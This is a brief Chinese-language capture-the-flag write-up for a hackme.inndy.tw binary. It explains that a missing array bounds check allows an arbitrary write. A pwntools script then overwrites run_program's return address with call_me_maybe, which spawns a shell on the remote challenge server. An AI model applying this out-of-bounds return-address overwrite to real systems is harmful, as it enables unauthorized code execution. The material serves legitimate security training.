拖进ida,发现有system有binsh
可以看到这里的arr数组只定义了10个值,但是在case1中没有0~9的区间判断,导致可以任意地址写。所以我们只需要覆盖run_program()函数的返回地址至 - call_me_maybe()即成功。
arr是0x34,离栈位置为14位
#coding:utf-8
from pwn import *
from LibcSearcher import *
p = remote('hackme.inndy.tw', 7701)
call_me_maybe = 0x080485FB
p.recvuntil("What's your name? ")
p.sendline("y0ona")
p.sendline("1")
p.recvuntil("edit: ")
p.sendline("14")
p.recvuntil("How many? ")
p.sendline(str(call_me_maybe))
p.sendline("0")
p.interactive()